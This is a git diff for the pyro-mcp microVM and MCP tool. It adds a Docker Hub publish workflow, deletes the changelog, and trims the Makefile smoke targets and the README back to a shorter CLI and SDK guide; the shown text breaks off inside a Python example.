diff --git a/.github/workflows/publish-environments.yml b/.github/workflows/publish-environments.yml new file mode 100644 index 0000000..e46446b --- /dev/null +++ b/.github/workflows/publish-environments.yml @@ -0,0 +1,45 @@ +name: Publish Environments + +on: + workflow_dispatch: + release: + types: + - published + +permissions: + contents: read + +concurrency: + group: publish-environments-${{ github.ref }} + cancel-in-progress: false + +jobs: + publish: + runs-on: ubuntu-24.04 + env: + UV_CACHE_DIR: .uv-cache + OCI_REGISTRY_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }} + OCI_REGISTRY_PASSWORD: ${{ secrets.DOCKERHUB_TOKEN }} + steps: + - name: Check out source + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: "3.12" + + - name: Set up uv + uses: astral-sh/setup-uv@v6 + + - name: Install project dependencies + run: make setup + + - name: Run project checks + run: make check + + - name: Build real runtime inputs + run: make runtime-materialize + + - name: Publish official environments to Docker Hub + run: make runtime-publish-official-environments-oci diff --git a/AGENTS.md b/AGENTS.md index bc441b4..f78972a 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -30,11 +30,10 @@ This repository ships `pyro-mcp`, an MCP-compatible package for ephemeral VM lif - Use `make doctor` to inspect bundled runtime integrity and host prerequisites. - Network-enabled flows require host privilege for TAP/NAT setup; the current implementation uses `sudo -n` for `ip`, `nft`, and `iptables` when available. - If you need full log payloads from the Ollama demo, use `make ollama-demo OLLAMA_DEMO_FLAGS=-v`. -- `pyro run` now defaults to `1 vCPU / 1024 MiB`, human-readable output, and fail-closed guest execution unless `--allow-host-compat` is passed. - After heavy runtime work, reclaim local space with `rm -rf build` and `git lfs prune`. - The pre-migration `pre-lfs-*` tag is local backup material only; do not push it or it will keep the old giant blobs reachable. - Public contract documentation lives in `docs/public-contract.md`. -- Official Docker Hub publication is performed locally with `make runtime-publish-official-environments-oci`. +- Official Docker Hub publication workflow lives in `.github/workflows/publish-environments.yml`. ## Quality Gates diff --git a/CHANGELOG.md b/CHANGELOG.md deleted file mode 100644 index 7d099a1..0000000 --- a/CHANGELOG.md +++ /dev/null @@ -1,328 +0,0 @@ -# Changelog - -All notable user-visible changes to `pyro-mcp` are documented here. - -## 4.5.0 - -- Added `pyro prepare` as the machine-level warmup path for the daily local - loop, with cached reuse when the runtime, catalog, and environment state are - already warm. -- Extended `pyro doctor` with daily-loop readiness output so users can see - whether the machine is cold, warm, or stale for `debian:12` before they - reconnect a chat host. -- Added `make smoke-daily-loop` to prove the warmed repro/fix/reset path end - to end on a real guest-backed machine. - -## 4.4.0 - -- Added explicit named MCP/server modes for the main workspace workflows: - `repro-fix`, `inspect`, `cold-start`, and `review-eval`. -- Kept the generic no-mode `workspace-core` path available as the escape hatch, - while making named modes the first user-facing story across help text, host - helpers, and the recipe docs. -- Aligned the shared use-case smoke runner with those modes so the repro/fix - and cold-start flows now prove a mode-backed happy path instead of only the - generic profile path. - -## 4.3.0 - -- Added `pyro workspace summary`, `Pyro.summarize_workspace()`, and MCP - `workspace_summary` so users and chat hosts can review a concise view of the - current workspace session since the last reset. -- Added a lightweight review-event log for edits, syncs, exports, service - lifecycle, and snapshot activity without duplicating the command journal. -- Updated the main workspace walkthroughs and review/eval recipe so - `workspace summary` is the first review surface before dropping down to raw - diffs, logs, and exported files. - -## 4.2.0 - -- Added host bootstrap and repair helpers with `pyro host connect`, - `pyro host print-config`, `pyro host doctor`, and `pyro host repair` for the - supported Claude Code, Codex, and OpenCode flows. -- Repositioned the docs and examples so supported hosts now start from the - helper flow first, while keeping raw `pyro mcp serve` commands as the - underlying MCP entrypoint and advanced fallback. -- Added deterministic host-helper coverage so the shipped helper commands and - OpenCode config snippet stay aligned with the canonical `pyro mcp serve` - command shape. - -## 4.1.0 - -- Added project-aware MCP startup so bare `pyro mcp serve` from a repo root can - auto-detect the current Git checkout and let `workspace_create` omit - `seed_path` safely. -- Added explicit fallback startup flags for chat hosts that do not preserve the - server working directory: `--project-path`, `--repo-url`, `--repo-ref`, and - `--no-project-source`. -- Extended workspace seed metadata with startup origin fields so chat-facing - workspace creation can show whether a workspace came from a manual seed path, - the current project, or a clean cloned repo source. - -## 4.0.0 - -- Flipped the default MCP/server profile from `workspace-full` to - `workspace-core`, so bare `pyro mcp serve`, `create_server()`, and - `Pyro.create_server()` now match the recommended narrow chat-host path. -- Rewrote MCP-facing docs and shipped host-specific examples so the normal - setup path no longer needs an explicit `--profile workspace-core` just to - get the default behavior. -- Added migration guidance for hosts that relied on the previous implicit full - surface: they now need `--profile workspace-full` or - `create_server(profile=\"workspace-full\")`. -## 3.11.0 - -- Added first-class host-specific MCP onramps for Claude Code, Codex, and - OpenCode so major chat-host users can copy one exact setup example instead of - translating the generic MCP config by hand. -- Reordered the main integration docs and examples so host-specific MCP setup - appears before the generic `mcpServers` fallback, while keeping - `workspace-core` as the recommended first profile everywhere user-facing. -- Kept Claude Desktop and Cursor as generic fallback examples instead of the - primary onramp path. - -## 3.10.0 - -- Aligned the five guest-backed workspace smoke scenarios with the recipe docs - they advertise, so the smoke pack now follows the documented canonical user - paths instead of mixing in harness-only CLI formatting checks. -- Fixed the repro-plus-fix smoke to use the structured SDK patch flow directly, - removing its dependency on brittle human `[workspace-patch] ...` output. -- Promoted `make smoke-use-cases` in the docs as the trustworthy guest-backed - verification path for the advertised workspace workflows. - -## 3.9.0 - -- Added `--content-only` to `pyro workspace file read` and - `pyro workspace disk read` so copy-paste flows and chat transcripts can emit - only file content without the human summary footer. -- Polished default human read output so content without a trailing newline is - still separated cleanly from the summary line in merged terminal logs. -- Updated the stable walkthroughs and contract docs to use content-only reads - where plain file content is the intended output. - -## 3.8.0 - -- Repositioned the MCP/chat-host onramp so `workspace-core` is clearly the - recommended first profile across `pyro mcp serve --help`, the README, install - docs, first-run docs, and shipped MCP config examples. -- Kept `workspace-full` as the default for `3.x` compatibility, but rewrote the - public guidance to frame it as the advanced/compatibility surface instead of - the default recommendation. -- Promoted the `workspace-core` OpenAI example and added a minimal chat-host - quickstart near the top-level product docs so new integrators no longer need - to read deep integration docs before choosing the right profile. - -## 3.7.0 - -- Added CLI handoff shortcuts with `pyro workspace create --id-only` and - `pyro workspace shell open --id-only` so shell scripts and walkthroughs can - capture identifiers without JSON parsing glue. -- Added file-backed text inputs for `pyro workspace file write --text-file` and - `pyro workspace patch apply --patch-file`, keeping the existing `--text` and - `--patch` behavior stable while removing `$(cat ...)` shell expansion from - the canonical flows. -- Rewrote the top workspace walkthroughs, CLI help examples, and roadmap/docs - around the new shortcut flags, and updated the real guest-backed repro/fix - smoke to exercise a file-backed patch input through the CLI. - -## 3.6.0 - -- Added `docs/use-cases/` with five concrete workspace recipes for cold-start validation, - repro-plus-fix loops, parallel workspaces, untrusted inspection, and review/eval workflows. -- Added real guest-backed smoke packs for those stories with `make smoke-use-cases` plus one - `make smoke-...` target per scenario, all backed by the shared - `scripts/workspace_use_case_smoke.py` runner. -- Updated the main docs so the stable workspace walkthrough now points directly at the recipe set - and the smoke packs as the next step after first-run validation. - -## 3.5.0 - -- Added chat-friendly shell reads with `--plain` and `--wait-for-idle-ms` across the CLI, - Python SDK, and MCP server so PTY sessions can be fed back into a chat model without - client-side ANSI cleanup. -- Kept raw cursor-based shell reads intact for advanced clients while adding manager-side - output rendering and idle batching on top of the existing guest/backend shell transport. -- Updated the stable shell examples and docs to recommend `workspace shell read --plain - --wait-for-idle-ms 300` for model-facing interactive loops. - -## 3.4.0 - -- Added stable MCP/server tool profiles with `vm-run`, `workspace-core`, and - `workspace-full` so chat hosts can expose only the right model-facing surface. -- Added `--profile` to `pyro mcp serve` plus matching `profile=` support on - `Pyro.create_server()` and the package-level `create_server()` factory. -- Added canonical `workspace-core` integration examples for OpenAI Responses - and MCP client configuration, and narrowed the `workspace-core` schemas so - secrets, network policy, shells, services, snapshots, and disk tools stay out - of the default persistent chat profile. - -## 3.3.0 - -- Added first-class workspace naming and discovery across the CLI, Python SDK, and MCP server - with `pyro workspace create --name/--label`, `pyro workspace list`, `pyro workspace update`, - `Pyro.list_workspaces()`, `Pyro.update_workspace()`, and the matching `workspace_list` / - `workspace_update` MCP tools. -- Added persisted `name`, key/value `labels`, and `last_activity_at` metadata to workspace create, - status, reset, and update payloads, and surfaced compact workspace summaries from - `workspace list`. -- Tracked `last_activity_at` on real workspace mutations so humans and chat-driven agents can - resume the most recently used workspace without managing opaque IDs out of band. - -## 3.2.0 - -- Added model-native live workspace file operations across the CLI, Python SDK, and MCP server - with `workspace file list|read|write` so agents can inspect and edit text files without shell - quoting tricks or host-side temp-file glue. -- Added `workspace patch apply` for explicit unified text diff application under `/workspace`, - with supported add/modify/delete patch forms and clear recovery guidance via `workspace reset`. -- Kept file operations scoped to started workspaces and `/workspace`, while preserving the existing - diff/export/snapshot/service/shell model around the stable workspace product. - -## 3.1.0 - -- Added explicit workspace lifecycle stop/start operations across the CLI, Python SDK, and MCP - server so a persistent workspace can be paused and resumed without resetting `/workspace`, - snapshots, or command history. -- Added secondary stopped-workspace disk tools with raw ext4 export plus offline `disk list` and - `disk read` inspection for guest-backed workspaces. -- Scrubbed guest runtime-only paths such as `/run/pyro-secrets`, `/run/pyro-shells`, and - `/run/pyro-services` before stopped-workspace disk export and offline inspection so those tools - stay secondary to the stable workspace product without leaking runtime-only state. - -## 3.0.0 - -- Promoted the workspace-first product surface to stable across the CLI, Python SDK, and MCP - server, with `pyro run` retained as the stable one-shot entrypoint. -- Repositioned the main docs, help text, examples, and walkthrough assets around the stable - workspace path: create, sync, exec or shell, services, snapshots/reset, diff/export, and - delete. -- Froze the `3.x` public contract around the current workspace surface without introducing new - runtime capability in this release. - -## 2.10.0 - -- Replaced the workspace-level boolean network toggle with explicit workspace network policies: - `off`, `egress`, and `egress+published-ports`. -- Added localhost-only published TCP ports for workspace services across the CLI, Python SDK, and - MCP server, including returned host/guest port metadata on service start, list, and status. -- Kept published ports attached to services rather than `/workspace` itself, so host probing works - without changing workspace diff, export, shell, or reset semantics. - -## 2.9.0 - -- Added explicit workspace secrets across the CLI, Python SDK, and MCP server with - `pyro workspace create --secret/--secret-file`, `Pyro.create_workspace(..., secrets=...)`, and - the matching `workspace_create` MCP inputs. -- Added per-call secret-to-environment mapping for `workspace exec`, `workspace shell open`, and - `workspace service start`, with secret values redacted from command output, shell reads, service - logs, and persisted workspace logs. -- Kept secret-backed workspaces guest-only and fail-closed while re-materializing persisted secret - files outside `/workspace` across workspace creation and reset. - -## 2.8.0 - -- Added explicit named workspace snapshots across the CLI, Python SDK, and MCP server with - `pyro workspace snapshot *`, `Pyro.create_snapshot()` / `list_snapshots()` / - `delete_snapshot()`, and the matching `snapshot_*` MCP tools. -- Added `pyro workspace reset` and `Pyro.reset_workspace()` so a workspace can recreate its full - sandbox from the immutable baseline or one named snapshot while keeping the same identity. -- Made reset a full-sandbox recovery path that clears command history, shells, and services while - preserving the workspace spec, named snapshots, and immutable baseline. - -## 2.7.0 - -- Added first-class workspace services across the CLI, Python SDK, and MCP server with - `pyro workspace service *`, `Pyro.start_service()` / `list_services()` / `status_service()` / - `logs_service()` / `stop_service()`, and the matching `service_*` MCP tools. -- Added typed readiness probes for workspace services with file, TCP, HTTP, and command checks so - long-running processes can be started and inspected without relying on shell-fragile flows. -- Kept service state and logs outside `/workspace`, and surfaced aggregate service counts from - `workspace status` without polluting workspace diff or export semantics. - -## 2.6.0 - -- Added explicit host-out workspace operations across the CLI, Python SDK, and MCP server with - `pyro workspace export`, `Pyro.export_workspace()`, `pyro workspace diff`, - `Pyro.diff_workspace()`, and the matching `workspace_export` / `workspace_diff` MCP tools. -- Captured an immutable create-time baseline for every new workspace so later `workspace diff` - compares the live `/workspace` tree against that original seed state. -- Kept export and diff separate from command execution and shell state so workspaces can mutate, - be inspected, and copy results back to the host without affecting command logs or shell sessions. - -## 2.5.0 - -- Added persistent PTY shell sessions across the CLI, Python SDK, and MCP server with - `pyro workspace shell *`, `Pyro.open_shell()` / `read_shell()` / `write_shell()` / - `signal_shell()` / `close_shell()`, and `shell_*` MCP tools. -- Kept interactive shells separate from `workspace exec`, with cursor-based merged output reads - and explicit close/signal operations for long-lived workspace sessions. -- Updated the bundled guest agent and mock backend so shell sessions persist across separate - calls and are cleaned up automatically by `workspace delete`. - -## 2.4.0 - -- Replaced the public persistent-workspace surface from `task_*` to `workspace_*` across the CLI, - Python SDK, and MCP server in one clean cut with no compatibility aliases. -- Renamed create-time seeding from `source_path` to `seed_path` for workspace creation while keeping - later `workspace sync push` imports on `source_path`. -- Switched persisted local records from `tasks/*/task.json` to `workspaces/*/workspace.json` and - updated the main docs/examples to the workspace-first language. - -## 2.3.0 - -- Added `task sync push` across the CLI, Python SDK, and MCP server so started task workspaces can - import later host-side directory or archive content without being recreated. -- Reused the existing safe archive import path with an explicit destination under `/workspace`, - including host-side and guest-backed task support. -- Documented sync as a non-atomic update path in `2.3.0`, with delete-and-recreate as the recovery - path if a sync fails partway through. - -## 2.2.0 - -- Added seeded task creation across the CLI, Python SDK, and MCP server with an optional - `source_path` for host directories and `.tar` / `.tar.gz` / `.tgz` archives. -- Seeded task workspaces now persist `workspace_seed` metadata so later status calls report how - `/workspace` was initialized. -- Reused the task workspace model from `2.1.0` while adding the first explicit host-to-task - content import path for repeated command workflows. - -## 2.1.0 - -- Added the first persistent task workspace alpha across the CLI, Python SDK, and MCP server. -- Shipped `task create`, `task exec`, `task status`, `task logs`, and `task delete` as an additive - surface alongside the existing one-shot VM contract. -- Made task workspaces persistent across separate CLI/SDK/MCP processes by storing task records on - disk under the runtime base directory. -- Added per-task command journaling so repeated workspace commands can be inspected through - `pyro task logs` or the matching SDK/MCP methods. - -## 2.0.1 - -- Fixed the default `pyro env pull` path so empty local profile directories no longer produce - broken cached installs or contradictory "Pulled" / "not installed" states. -- Hardened cache inspection and repair so broken environment symlinks are treated as uninstalled - and repaired on the next pull. -- Added human-mode phase markers for `pyro env pull` and `pyro run` to make longer guest flows - easier to follow from the CLI. -- Corrected the Python lifecycle example and docs to match the current `exec_vm` / `vm_exec` - auto-clean semantics. - -## 2.0.0 - -- Made guest execution fail closed by default; host compatibility execution now requires - explicit opt-in with `--allow-host-compat` or `allow_host_compat=True`. -- Switched the main CLI commands to human-readable output by default and kept `--json` - for structured output. -- Added default sizing of `1 vCPU / 1024 MiB` across the CLI, Python SDK, and MCP tools. -- Unified environment cache resolution across `pyro`, `Pyro`, and `pyro doctor`. -- Kept the stable environment-first contract centered on `vm_run`, `pyro run`, and - curated OCI-published environments. - -## 1.0.0 - -- Shipped the first stable public `pyro` CLI, `Pyro` SDK, and MCP server contract. -- Replaced the old bundled-profile model with curated named environments. -- Switched distribution to a thin Python package plus official OCI environment artifacts. -- Published the initial official environment catalog on public Docker Hub. -- Added first-party environment pull, inspect, prune, and one-shot run flows. diff --git a/Makefile b/Makefile index 465a2ab..c1ccc4b 100644 --- a/Makefile +++ b/Makefile @@ -1,7 +1,5 @@ PYTHON ?= uv run python UV_CACHE_DIR ?= .uv-cache -PYTEST_WORKERS ?= $(shell sh -c 'n=$$(getconf _NPROCESSORS_ONLN 2>/dev/null || nproc 2>/dev/null || echo 2); if [ "$$n" -gt 8 ]; then n=8; fi; if [ "$$n" -lt 2 ]; then echo 1; else echo $$n; fi') -PYTEST_FLAGS ?= -n $(PYTEST_WORKERS) OLLAMA_BASE_URL ?= http://localhost:11434/v1 OLLAMA_MODEL ?= llama3.2:3b OLLAMA_DEMO_FLAGS ?= @@ -16,11 +14,8 @@ RUNTIME_ENVIRONMENTS ?= debian:12-base debian:12 debian:12-build PYPI_DIST_DIR ?= dist TWINE_USERNAME ?= __token__ PYPI_REPOSITORY_URL ?= -USE_CASE_ENVIRONMENT ?= debian:12 -USE_CASE_SMOKE_FLAGS ?= -DAILY_LOOP_ENVIRONMENT ?= debian:12 -.PHONY: help setup lint format typecheck test check dist-check pypi-publish demo network-demo doctor ollama ollama-demo run-server install-hooks smoke-daily-loop smoke-use-cases smoke-cold-start-validation smoke-repro-fix-loop smoke-parallel-workspaces smoke-untrusted-inspection smoke-review-eval runtime-bundle runtime-binaries runtime-kernel runtime-rootfs runtime-agent runtime-validate runtime-manifest runtime-sync runtime-clean runtime-fetch-binaries runtime-build-kernel-real runtime-build-rootfs-real runtime-materialize runtime-export-environment-oci runtime-export-official-environments-oci runtime-publish-environment-oci runtime-publish-official-environments-oci runtime-boot-check runtime-network-check +.PHONY: help setup lint format typecheck test check dist-check pypi-publish demo network-demo doctor ollama ollama-demo run-server install-hooks runtime-bundle runtime-binaries runtime-kernel runtime-rootfs runtime-agent runtime-validate runtime-manifest runtime-sync runtime-clean runtime-fetch-binaries runtime-build-kernel-real runtime-build-rootfs-real runtime-materialize runtime-export-environment-oci runtime-export-official-environments-oci runtime-publish-environment-oci runtime-publish-official-environments-oci runtime-boot-check runtime-network-check help: @printf '%s\n' \ @@ -30,20 +25,13 @@ help: ' lint Run Ruff lint checks' \ ' format Run Ruff formatter' \ ' typecheck Run mypy' \ - ' test Run pytest in parallel when multiple cores are available' \ + ' test Run pytest' \ ' check Run lint, typecheck, and tests' \ ' dist-check Smoke-test the installed pyro CLI and environment UX' \ ' pypi-publish Build, validate, and upload the package to PyPI' \ ' demo Run the deterministic VM demo' \ ' network-demo Run the deterministic VM demo with guest networking enabled' \ ' doctor Show runtime and host diagnostics' \ - ' smoke-daily-loop Run the real guest-backed prepare plus reset daily-loop smoke' \ - ' smoke-use-cases Run all real guest-backed workspace use-case smokes' \ - ' smoke-cold-start-validation Run the cold-start repo validation smoke' \ - ' smoke-repro-fix-loop Run the repro-plus-fix loop smoke' \ - ' smoke-parallel-workspaces Run the parallel isolated workspaces smoke' \ - ' smoke-untrusted-inspection Run the unsafe or untrusted inspection smoke' \ - ' smoke-review-eval Run the review and evaluation workflow smoke' \ ' ollama-demo Run the network-enabled Ollama lifecycle demo' \ ' run-server Run the MCP server' \ ' install-hooks Install pre-commit hooks' \ @@ -80,21 +68,18 @@ typecheck: uv run mypy test: - uv run pytest $(PYTEST_FLAGS) + uv run pytest check: lint typecheck test dist-check: - uv run python -m pyro_mcp.cli --version - uv run python -m pyro_mcp.cli --help >/dev/null - uv run python -m pyro_mcp.cli prepare --help >/dev/null - uv run python -m pyro_mcp.cli host --help >/dev/null - uv run python -m pyro_mcp.cli host doctor >/dev/null - uv run python -m pyro_mcp.cli mcp --help >/dev/null - uv run python -m pyro_mcp.cli run --help >/dev/null - uv run python -m pyro_mcp.cli env list >/dev/null - uv run python -m pyro_mcp.cli env inspect debian:12 >/dev/null - uv run python -m pyro_mcp.cli doctor --environment debian:12 >/dev/null + .venv/bin/pyro --version + .venv/bin/pyro --help >/dev/null + .venv/bin/pyro mcp --help >/dev/null + .venv/bin/pyro run --help >/dev/null + .venv/bin/pyro env list >/dev/null + .venv/bin/pyro env inspect debian:12 >/dev/null + .venv/bin/pyro doctor >/dev/null pypi-publish: @if [ -z "$$TWINE_PASSWORD" ]; then \ @@ -119,27 +104,6 @@ network-demo: doctor: uv run pyro doctor -smoke-daily-loop: - uv run python scripts/daily_loop_smoke.py --environment "$(DAILY_LOOP_ENVIRONMENT)" - -smoke-use-cases: - uv run python scripts/workspace_use_case_smoke.py --scenario all --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) - -smoke-cold-start-validation: - uv run python scripts/workspace_use_case_smoke.py --scenario cold-start-validation --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) - -smoke-repro-fix-loop: - uv run python scripts/workspace_use_case_smoke.py --scenario repro-fix-loop --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) - -smoke-parallel-workspaces: - uv run python scripts/workspace_use_case_smoke.py --scenario parallel-workspaces --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) - -smoke-untrusted-inspection: - uv run python scripts/workspace_use_case_smoke.py --scenario untrusted-inspection --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) - -smoke-review-eval: - uv run python scripts/workspace_use_case_smoke.py --scenario review-eval --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) - ollama: ollama-demo ollama-demo: diff --git a/README.md b/README.md index 06956d1..9048935 100644 --- a/README.md +++ b/README.md @@ -1,255 +1,37 @@ # pyro-mcp -`pyro-mcp` is a disposable MCP workspace for chat-based coding agents such as -Claude Code, Codex, and OpenCode. +`pyro-mcp` runs commands inside ephemeral Firecracker microVMs using curated Linux environments such as `debian:12`. -It is built for Linux `x86_64` hosts with working KVM. The product path is: +It exposes the same runtime in three public forms: -1. prove the host works -2. connect a chat host over MCP -3. let the agent work inside a disposable workspace -4. validate the workflow with the recipe-backed smoke pack - -`pyro-mcp` currently has no users. Expect breaking changes while this chat-host -path is still being shaped. - -This repo is not trying to be a generic VM toolkit, a CI runner, or an -SDK-first platform. - -[![PyPI version](https://img.shields.io/pypi/v/pyro-mcp.svg)](https://pypi.org/project/pyro-mcp/) +- the `pyro` CLI +- the Python SDK via `from pyro_mcp import Pyro` +- an MCP server so LLM clients can call VM tools directly ## Start Here -- Install and zero-to-hero path: [docs/install.md](docs/install.md) -- First run transcript: [docs/first-run.md](docs/first-run.md) -- Chat host integrations: [docs/integrations.md](docs/integrations.md) -- Use-case recipes: [docs/use-cases/README.md](docs/use-cases/README.md) -- Vision: [docs/vision.md](docs/vision.md) -- Public contract: [docs/public-contract.md](docs/public-contract.md) +- Install: [docs/install.md](docs/install.md) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) +- Integration targets: [docs/integrations.md](docs/integrations.md) +- Public contract: [docs/public-contract.md](docs/public-contract.md) - Troubleshooting: [docs/troubleshooting.md](docs/troubleshooting.md) -- Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) -- Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) -- What's new in 4.5.0: [CHANGELOG.md#450](CHANGELOG.md#450) -- PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -## Who It's For +## Public UX -- Claude Code users who want disposable workspaces instead of running directly - on the host -- Codex users who want an MCP-backed sandbox for repo setup, bug fixing, and - evaluation loops -- OpenCode users who want the same disposable workspace model -- people evaluating repo setup, test, and app-start workflows from a chat - interface on a clean machine - -If you want a general VM platform, a queueing system, or a broad SDK product, -this repo is intentionally biased away from that story. - -## Quickstart - -Use either of these equivalent quickstart paths: - -```bash -# Package without install -python -m pip install uv -uvx --from pyro-mcp pyro doctor -uvx --from pyro-mcp pyro prepare debian:12 -uvx --from pyro-mcp pyro run debian:12 -- git --version -``` - -![Quickstart walkthrough](docs/assets/first-run.gif) - -```bash -# Already installed -pyro doctor -pyro prepare debian:12 -pyro run debian:12 -- git --version -``` - -From a repo checkout, replace `pyro` with `uv run pyro`. - -What success looks like: - -```bash -Platform: linux-x86_64 -Runtime: PASS -Catalog version: 4.4.0 -... -[pull] phase=install environment=debian:12 -[pull] phase=ready environment=debian:12 -Pulled: debian:12 -... -[run] phase=create environment=debian:12 -[run] phase=start vm_id=... -[run] phase=execute vm_id=... -[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... -git version ... -``` - -The first pull downloads an OCI environment from public Docker Hub, requires -outbound HTTPS access to `registry-1.docker.io`, and needs local cache space -for the guest image. `pyro prepare debian:12` performs that install step -automatically, then proves create, exec, reset, and delete on one throwaway -workspace so the daily loop is warm before the chat host connects. - -## Chat Host Quickstart - -After the quickstart works, make the daily loop explicit before you connect the -chat host: - -```bash -uvx --from pyro-mcp pyro doctor --environment debian:12 -uvx --from pyro-mcp pyro prepare debian:12 -``` - -Then connect a chat host in one named mode. Use the helper flow first: - -```bash -uvx --from pyro-mcp pyro host connect codex --mode repro-fix -uvx --from pyro-mcp pyro host connect codex --mode inspect -uvx --from pyro-mcp pyro host connect claude-code --mode cold-start -uvx --from pyro-mcp pyro host connect claude-code --mode review-eval -uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix -``` - -If setup drifts or you want to inspect it first: - -```bash -uvx --from pyro-mcp pyro host doctor -uvx --from pyro-mcp pyro host repair claude-code -uvx --from pyro-mcp pyro host repair codex -uvx --from pyro-mcp pyro host repair opencode -``` - -Those helpers wrap the same `pyro mcp serve` entrypoint. Use a named mode when -one workflow already matches the job. Fall back to the generic no-mode path -when the mode feels too narrow. - -Mode examples: - -```bash -uvx --from pyro-mcp pyro mcp serve --mode repro-fix -uvx --from pyro-mcp pyro mcp serve --mode inspect -uvx --from pyro-mcp pyro mcp serve --mode cold-start -uvx --from pyro-mcp pyro mcp serve --mode review-eval -``` - -Generic escape hatch: +Primary install/run path: ```bash uvx --from pyro-mcp pyro mcp serve ``` -From a repo root, the generic path auto-detects the current Git checkout and -lets the first `workspace_create` omit `seed_path`. If the host does not -preserve the server working directory, use: +Installed package path: ```bash -uvx --from pyro-mcp pyro host connect codex --project-path /abs/path/to/repo -uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo +pyro mcp serve ``` -If you are starting outside a local checkout, use a clean clone source: - -```bash -uvx --from pyro-mcp pyro host connect codex --repo-url https://github.com/example/project.git -uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git -``` - -Copy-paste host-specific starts: - -- Claude Code: [examples/claude_code_mcp.md](examples/claude_code_mcp.md) -- Codex: [examples/codex_mcp.md](examples/codex_mcp.md) -- OpenCode: [examples/opencode_mcp_config.json](examples/opencode_mcp_config.json) -- Generic MCP config: [examples/mcp_client_config.md](examples/mcp_client_config.md) - -Claude Code cold-start or review-eval: - -```bash -claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start -``` - -Codex repro-fix or inspect: - -```bash -codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix -``` - -OpenCode `opencode.json` snippet: - -```json -{ - "mcp": { - "pyro": { - "type": "local", - "enabled": true, - "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"] - } - } -} -``` - -If OpenCode launches the server from an unexpected cwd, use -`pyro host print-config opencode --project-path /abs/path/to/repo` or add -`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same command -array. - -If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with -`pyro` in the same command or config shape. - -Use the generic no-mode path when the named mode feels too narrow. Move to -`--profile workspace-full` only when the chat truly needs shells, services, -snapshots, secrets, network policy, or disk tools. - -## Zero To Hero - -1. Validate the host with `pyro doctor`. -2. Warm the machine-level daily loop with `pyro prepare debian:12`. -3. Prove guest execution with `pyro run debian:12 -- git --version`. -4. Connect Claude Code, Codex, or OpenCode with one named mode such as - `pyro host connect codex --mode repro-fix`, then fall back to raw - `pyro mcp serve --mode ...` or the generic no-mode path when needed. -5. Start with one recipe from [docs/use-cases/README.md](docs/use-cases/README.md). - `repro-fix` is the shortest chat-first mode and story. -6. Use `workspace reset` as the normal retry step inside that warmed loop. -7. Use `make smoke-use-cases` as the trustworthy guest-backed verification path - for the advertised workflows. - -That is the intended user journey. The terminal commands exist to validate and -debug that chat-host path, not to replace it as the main product story. - -## Manual Terminal Workspace Flow - -If you want to understand what the agent gets inside the sandbox, or debug a -recipe outside the chat host, use the terminal companion flow below: - -```bash -uv tool install pyro-mcp -WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)" -pyro workspace list -pyro workspace sync push "$WORKSPACE_ID" ./changes -pyro workspace file read "$WORKSPACE_ID" note.txt --content-only -pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch -pyro workspace exec "$WORKSPACE_ID" -- cat note.txt -pyro workspace summary "$WORKSPACE_ID" -pyro workspace snapshot create "$WORKSPACE_ID" checkpoint -pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint -pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt -pyro workspace delete "$WORKSPACE_ID" -``` - -Add `workspace-full` only when the chat or your manual debugging loop really -needs: - -- persistent PTY shells -- long-running services and readiness probes -- guest networking and published ports -- secrets -- stopped-workspace disk inspection - -The five recipe docs show when those capabilities are justified: -[docs/use-cases/README.md](docs/use-cases/README.md) +The public user-facing interface is `pyro` and `Pyro`. +`Makefile` targets are contributor conveniences for this repository and are not the primary product UX. ## Official Environments @@ -259,10 +41,145 @@ Current official environments in the shipped catalog: - `debian:12-base` - `debian:12-build` -The embedded Firecracker runtime ships with the package. Official environments -are pulled as OCI artifacts from public Docker Hub into a local cache on first -use or through `pyro env pull`. End users do not need registry credentials to -pull or run the official environments. +The package ships the embedded Firecracker runtime and a package-controlled environment catalog. +Official environments are pulled as OCI artifacts from public Docker Hub repositories into a local +cache on first use or through `pyro env pull`. +End users do not need registry credentials to pull or run official environments. + +## CLI + +List available environments: + +```bash +pyro env list +``` + +Prefetch one environment: + +```bash +pyro env pull debian:12 +``` + +Run one command in an ephemeral VM: + +```bash +pyro run debian:12 --vcpu-count 1 --mem-mib 1024 -- git --version +``` + +Run with outbound internet enabled: + +```bash +pyro run debian:12 --vcpu-count 1 --mem-mib 1024 --network -- \ + "git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world && git -C hello-world rev-parse --is-inside-work-tree" +``` + +Show runtime and host diagnostics: + +```bash +pyro doctor +``` + +Run the deterministic demo: + +```bash +pyro demo +pyro demo --network +``` + +Run the Ollama demo: + +```bash +ollama serve +ollama pull llama3.2:3b +pyro demo ollama +``` + +## Python SDK + +```python +from pyro_mcp import Pyro + +pyro = Pyro() +result = pyro.run_in_vm( + environment="debian:12", + command="git --version", + vcpu_count=1, + mem_mib=1024, + 